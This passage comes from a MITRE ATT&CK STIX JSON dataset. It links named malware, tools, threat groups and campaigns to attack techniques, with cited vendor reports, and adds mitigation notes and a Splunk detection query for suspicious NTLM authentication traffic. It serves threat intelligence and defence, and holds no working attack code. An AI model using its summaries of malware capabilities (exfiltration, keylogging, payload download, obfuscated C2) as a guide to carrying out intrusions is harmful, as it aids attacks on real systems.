2024.","url":"https://blog.lumen.com/routers-roasting-on-an-open-firewall-the-kv-botnet-investigation/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-10T19:35:06.636Z","description":"[KV Botnet Activity](https://attack.mitre.org/campaigns/C0035) includes use of native system tools, such as uname, to obtain information about victim device architecture, as well as gathering other system information such as the victim's hosts file and CPU utilization.(Citation: Lumen KVBotnet 2023)","relationship_type":"uses","source_ref":"campaign--0c259854-4044-4f6c-ac49-118d484b3e3b","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e3909a5f-ebfb-48e1-b0fc-5737217a994b","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky Charming Kitten Dec 2017","description":"ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.","url":"http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf"}],"modified":"2020-03-17T00:54:56.928Z","description":"[DownPaper](https://attack.mitre.org/software/S0186) uses PowerShell for execution.(Citation: ClearSky Charming Kitten Dec 2017)","relationship_type":"uses","source_ref":"malware--e48df773-7c95-4a4c-ba70-ea3d15900148","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e391c03a-9ef4-436f-8ab5-2c15168c9551","type":"relationship","created":"2019-01-30T15:19:15.050Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/","source_name":"Unit42 Azorult Nov 2018"},{"description":"Proofpoint. (2018, July 30). New version of AZORult stealer improves loading features, spreads alongside ransomware in new campaign. Retrieved November 29, 2018.","url":"https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside","source_name":"Proofpoint Azorult July 2018"}],"modified":"2019-07-26T23:22:28.396Z","description":"[Azorult](https://attack.mitre.org/software/S0344) can collect the machine information, system architecture, the OS version, computer name, Windows product name, the number of CPU cores, video card information, and the system language.(Citation: Unit42 Azorult Nov 2018)(Citation: Proofpoint Azorult July 2018)","relationship_type":"uses","source_ref":"malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e394c235-8567-4198-9559-fb3952672fe0","type":"relationship","created":"2019-01-30T13:42:09.461Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET GreyEnergy Oct 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf","description":"Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."}],"modified":"2020-03-17T01:16:25.935Z","description":"[FELIXROOT](https://attack.mitre.org/software/S0267) creates a .LNK file for persistence.(Citation: ESET GreyEnergy Oct 2018)","relationship_type":"uses","source_ref":"malware--cf8df906-179c-4a78-bd6e-6605e30f6624","target_ref":"attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e395b033-b699-4360-a436-1daeada439a2","type":"relationship","created":"2019-06-24T13:56:03.589Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-02-24T15:06:46.269Z","description":"Update software regularly by employing patch management for internal enterprise endpoints and servers.","relationship_type":"mitigates","source_ref":"course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b","target_ref":"attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e3962e89-9259-48e4-a8e4-965563736281","created":"2022-03-30T14:26:51.849Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-13T18:40:25.290Z","description":"For internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located.\n\nAnalytic 1 - Detection of NTLM hash traffic or other suspicious authentication traffic.\n\n index=network sourcetype=\"stream:tcp\" (dest_port=445 OR dest_port=80 OR dest_port=443) | eval Protocol=case(dest_port==445, \"SMB\", dest_port==80, \"HTTP\", dest_port==443, \"HTTPS\", true(), \"Unknown\")\n| search (command IN (\"NTLMSSP_NEGOTIATE\", \"NTLMSSP_AUTH\")) | eval SuspiciousAuth=case(\n match(_raw, \"NTLMSSP_NEGOTIATE\"), \"NTLM Negotiate\",\n match(_raw, \"NTLMSSP_AUTH\"), \"NTLM Authentication\",\n true(), \"Unknown\"\n)","relationship_type":"detects","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e398ecb9-1e98-4518-aff8-aa18f527f9dc","type":"relationship","created":"2020-06-28T22:55:55.826Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-06-28T22:55:55.826Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--dfebc3b7-d19d-450b-81c7-6dafe4184c04","target_ref":"attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e39a9d68-162f-45a3-b7c2-5914dd900b73","type":"relationship","created":"2021-03-18T15:15:00.537Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Muddy Water March 2021","url":"https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html","description":"Peretz, A. and Theck, E. (2021, March 5). Earth Vetala – MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."}],"modified":"2021-04-25T23:29:36.362Z","description":"[RemoteUtilities](https://attack.mitre.org/software/S0592) can upload and download files to and from a target machine.(Citation: Trend Micro Muddy Water March 2021)","relationship_type":"uses","source_ref":"tool--03c6e0ea-96d3-4b23-9afb-05055663cf4b","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e39aaec3-2473-4986-9278-eb1e880d127d","created":"2023-01-24T00:14:29.346Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Sept 2022","description":"Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.","url":"https://assets.sentinelone.com/sentinellabs22/metador#page=1"},{"source_name":"SentinelLabs Metador Technical Appendix Sept 2022","description":"SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 2023.","url":"https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-05T14:57:14.608Z","description":"[metaMain](https://attack.mitre.org/software/S1059) has the ability to log keyboard events.(Citation: SentinelLabs Metador Sept 2022)(Citation: SentinelLabs Metador Technical Appendix Sept 2022)","relationship_type":"uses","source_ref":"malware--df350889-4de9-44e5-8cb3-888b8343e97c","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e39b2ccc-79ee-4dee-a5e7-49f61d762ef4","created":"2023-03-17T14:49:47.187Z","revoked":false,"external_references":[{"source_name":"ESET Lazarus Jun 2020","description":"Breitenbacher, D and Osis, K. (2020, June 17). OPERATION IN(TER)CEPTION: Targeted Attacks Against European Aerospace and Military Companies. Retrieved December 20, 2021.","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_Operation_Interception.pdf"},{"source_name":"McAfee Lazarus Jul 2020","description":"Cashman, M. (2020, July 29). Operation North Star Campaign. Retrieved December 20, 2021.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-a-job-offer-thats-too-good-to-be-true/?hilite=%27Operation%27%2C%27North%27%2C%27Star%27"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T14:49:47.187Z","description":"During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) launched malicious DLL files, created new folders, and renamed folders with the use of the Windows command shell.(Citation: ESET Lazarus Jun 2020)(Citation: McAfee Lazarus Jul 2020)","relationship_type":"uses","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e39eb7ad-f233-4c22-8707-aaf600f42100","type":"relationship","created":"2019-04-16T19:29:01.556Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ASEC Emotet 2017","url":"https://global.ahnlab.com/global/upload/download/asecreport/ASEC%20REPORT_vol.88_ENG.pdf","description":"ASEC. (2017). ASEC REPORT VOL.88. Retrieved April 16, 2019."}],"modified":"2019-06-28T15:25:30.146Z","description":"[Emotet](https://attack.mitre.org/software/S0367) has been observed enumerating local processes.(Citation: ASEC Emotet 2017)","relationship_type":"uses","source_ref":"malware--32066e94-3112-48ca-b9eb-ba2b59d2f023","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e3a3186e-2ce7-4d46-836e-dc024464ede7","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://researchcenter.paloaltonetworks.com/2018/08/unit42-darkhydrus-uses-phishery-harvest-credentials-middle-east/","description":"Falcone, R. (2018, August 07). DarkHydrus Uses Phishery to Harvest Credentials in the Middle East. Retrieved August 10, 2018.","source_name":"Unit 42 Phishery Aug 2018"}],"modified":"2019-04-22T19:23:13.478Z","description":"[DarkHydrus](https://attack.mitre.org/groups/G0079) used an open-source tool, Phishery, to inject malicious remote template URLs into Microsoft Word documents and then sent them to victims to enable [Forced Authentication](https://attack.mitre.org/techniques/T1187).(Citation: Unit 42 Phishery Aug 2018)","relationship_type":"uses","source_ref":"intrusion-set--6b9ebeb5-20bf-48b0-afb7-988d769a2f01","target_ref":"attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e3a516b0-fa02-43dc-8247-0545a53693b1","type":"relationship","created":"2021-06-30T16:13:40.671Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Chaes Nov 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf","description":"Salem, E. (2020, November 17). CHAES: Novel Malware Targeting Latin American E-Commerce. Retrieved June 30, 2021."}],"modified":"2021-08-19T21:57:15.981Z","description":"[Chaes](https://attack.mitre.org/software/S0631) can download additional files onto an infected machine.(Citation: Cybereason Chaes Nov 2020)","relationship_type":"uses","source_ref":"malware--77e0ecf7-ca91-4c06-8012-8e728986a87a","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--e3ac1997-f11f-4f3d-8339-8e077ab00149","created":"2022-06-09T20:33:06.123Z","x_mitre_version":"0.1","external_references":[{"source_name":"Malwarebytes Saint Bot April 2021","url":"https://blog.malwarebytes.com/threat-intelligence/2021/04/a-deep-dive-into-saint-bot-downloader/","description":"Hasherezade. (2021, April 6). A deep dive into Saint Bot, a new downloader. Retrieved June 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Saint Bot](https://attack.mitre.org/software/S1018) had used `InstallUtil.exe` to download and deploy executables.(Citation: Malwarebytes Saint Bot April 2021)","modified":"2022-06-09T20:33:06.123Z","relationship_type":"uses","source_ref":"malware--7724581b-06ff-4d2b-b77c-80dc8d53070b","target_ref":"attack-pattern--2cd950a6-16c4-404a-aa01-044322395107","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e3af086e-a601-460b-92c4-7dfdf0d88caf","created":"2024-07-01T18:41:12.467Z","revoked":false,"external_references":[{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-01T18:41:12.467Z","description":"[LunarWeb](https://attack.mitre.org/software/S1141) can use Base64 encoding to obfuscate C2 commands.(Citation: ESET Turla Lunar toolset May 2024)","relationship_type":"uses","source_ref":"malware--e1284931-3f85-4262-a641-9ae8bb0576a0","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e3b20c80-7b6e-4a0a-8e69-f2d948cadd0e","created":"2024-03-25T20:31:07.142Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Red Canary SocGholish March 2024","description":"Red Canary. (2024, March). Red Canary 2024 Threat Detection Report: SocGholish. Retrieved March 22, 2024.","url":"https://redcanary.com/threat-detection-report/threats/socgholish/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-17T19:38:01.787Z","description":"[SocGholish](https://attack.mitre.org/software/S1124) can exfiltrate data directly to its C2 domain via HTTP.(Citation: Red Canary SocGholish March 2024)","relationship_type":"uses","source_ref":"malware--5911d2ca-64f6-49b3-b94f-29b5d185085c","target_ref":"attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e3b299d0-fbc0-445f-a0d0-b3fdaa572917","created":"2022-09-30T19:12:16.479Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"GitHub PSImage","description":"Barrett Adams. (n.d.). Invoke-PSImage . Retrieved September 30, 2022.","url":"https://github.com/peewpw/Invoke-PSImage"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T22:06:04.538Z","description":"[Invoke-PSImage](https://attack.mitre.org/software/S0231) can be used to embed payload data within a new image file.(Citation: GitHub PSImage)","relationship_type":"uses","source_ref":"tool--b52d6583-14a2-4ddc-8527-87fd2142558f","target_ref":"attack-pattern--0533ab23-3f7d-463f-9bd8-634d27e4dee1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e3b628b7-1513-4b68-87ab-809316836075","created":"2023-04-03T17:42:55.683Z","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Sept 2022","description":"Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.","url":"https://assets.sentinelone.com/sentinellabs22/metador#page=1"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-03T17:42:55.683Z","description":"[Metador](https://attack.mitre.org/groups/G1013) has downloaded tools and malware onto a compromised system.(Citation: SentinelLabs Metador Sept 2022)","relationship_type":"uses","source_ref":"intrusion-set--bfc5ddb3-4dfb-4278-8928-020e1b3feddd","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e3b79cfa-6ea8-4e7a-85f8-9862702d466a","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant FIN5 GrrCON Oct 2016","description":"Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.","url":"https://www.youtube.com/watch?v=fevGZs0EQu8"}],"modified":"2020-03-17T01:21:28.071Z","description":"[FLIPSIDE](https://attack.mitre.org/software/S0173) uses RDP to tunnel traffic from a victim environment.(Citation: Mandiant FIN5 GrrCON Oct 2016)","relationship_type":"uses","source_ref":"malware--0e18b800-906c-4e44-a143-b11c72b3448b","target_ref":"attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e3be5269-92fd-488e-be35-ddc91030f7c3","type":"relationship","created":"2019-01-30T18:39:48.473Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 Cannon Nov 2018","url":"https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/","description":"Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New ‘Cannon’ Trojan. Retrieved November 26, 2018."},{"source_name":"ESET Zebrocy Nov 2018","url":"https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/","description":"ESET. (2018, November 20). Sednit: What’s going on with Zebrocy?. Retrieved February 12, 2019."}],"modified":"2019-07-17T01:18:32.822Z","description":"[Zebrocy](https://attack.mitre.org/software/S0251) decodes its secondary payload and writes it to the victim’s machine. [Zebrocy](https://attack.mitre.org/software/S0251) also uses AES and XOR to decrypt strings and payloads.(Citation: Unit42 Cannon Nov 2018)(Citation: ESET Zebrocy Nov 2018)","relationship_type":"uses","source_ref":"malware--a4f57468-fbd5-49e4-8476-52088220b92d","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e3c860e4-c981-4a9a-8a8e-8ba0207f834b","created":"2022-10-13T16:11:10.482Z","revoked":false,"external_references":[{"source_name":"NCC Group TA505","description":"Terefos, A. (2020, November 18). TA505: A Brief History of Their Time. Retrieved July 14, 2022.","url":"https://research.nccgroup.com/2020/11/18/ta505-a-brief-history-of-their-time/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T16:11:10.482Z","description":"(Citation: NCC Group TA505)","relationship_type":"uses","source_ref":"intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d","target_ref":"tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e3c9ddee-8ace-4847-81ea-f7dfb8936d3b","created":"2021-04-24T21:20:31.474Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos PoetRAT October 2020","description":"Mercer, W. Rascagneres, P. Ventura, V. (2020, October 6). PoetRAT: Malware targeting public and private sector in Azerbaijan evolves . Retrieved April 9, 2021.","url":"https://blog.talosintelligence.com/2020/10/poetrat-update.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-17T20:07:39.270Z","description":"[PoetRAT](https://attack.mitre.org/software/S0428) has executed a Lua script through a Lua interpreter for Windows.(Citation: Talos PoetRAT October 2020)","relationship_type":"uses","source_ref":"malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c","target_ref":"attack-pattern--afddee82-3385-4682-ad90-eeced33f2d07","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e3caf4ea-efa0-4919-8bef-1b56425f7ef5","created":"2022-10-13T15:13:38.796Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T16:07:19.413Z","description":"[Chinoxy](https://attack.mitre.org/software/S1041) has used the name `eoffice.exe` in attempt to appear as a legitimate file.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"malware--0b639373-5f03-430e-b8f9-2fe8c8faad8e","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e3cd7b09-c244-4b5e-9a99-f1431489ed49","type":"relationship","created":"2020-11-30T16:57:05.532Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Bazar July 2020","url":"https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles","description":"Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9’S DEVELOPMENT CYCLES. Retrieved November 18, 2020."},{"source_name":"DFIR Ryuk's Return October 2020","url":"https://thedfirreport.com/2020/10/08/ryuks-return/","description":"The DFIR Report. (2020, October 8). Ryuk’s Return. Retrieved October 9, 2020."}],"modified":"2021-04-14T19:23:28.284Z","description":"[Bazar](https://attack.mitre.org/software/S0534) can execute a WMI query to gather information about the installed antivirus engine.(Citation: Cybereason Bazar July 2020)(Citation: DFIR Ryuk's Return October 2020)","relationship_type":"uses","source_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e3cda15d-a4c4-4e8e-939c-b980b1c494e2","created":"2023-09-13T18:31:28.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Proofpoint TA2541 February 2022","description":"Larson, S. and Wise, J. (2022, February 15). Charting TA2541's Flight. Retrieved September 12, 2023.","url":"https://www.proofpoint.com/us/blog/threat-insight/charting-ta2541s-flight"},{"source_name":"FireEye NETWIRE March 2019","description":"Maniath, S. and Kadam P. (2019, March 19). Dissecting a NETWIRE Phishing Campaign's Usage of Process Hollowing. Retrieved January 7, 2021.","url":"https://www.mandiant.com/resources/blog/dissecting-netwire-phishing-campaigns-usage-process-hollowing"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-15T20:13:39.976Z","description":"(Citation: Proofpoint TA2541 February 2022)(Citation: FireEye NETWIRE March 2019)\n","relationship_type":"uses","source_ref":"intrusion-set--467271fd-47c0-4e90-a3f9-d84f5cf790d0","target_ref":"malware--2a70812b-f1ef-44db-8578-a496a227aef2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e3d0073d-4507-4966-9cb0-787c02987186","type":"relationship","created":"2020-02-14T13:09:51.253Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-06-08T17:08:08.507Z","description":"Enforce the principle of least-privilege. Consider implementing access control mechanisms that include both authentication and authorization.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--7ad38ef1-381a-406d-872a-38b136eb5ecc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e3d05599-2a5f-4357-b452-49309690eab1","created":"2024-03-13T20:33:20.042Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SCILabs Malteiro 2021","description":"SCILabs. (2021, December 23). Cyber Threat Profile Malteiro. Retrieved March 13, 2024.","url":"https://blog.scilabs.mx/en/cyber-threat-profile-malteiro/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-15T20:12:38.304Z","description":"[Malteiro](https://attack.mitre.org/groups/G1026) has 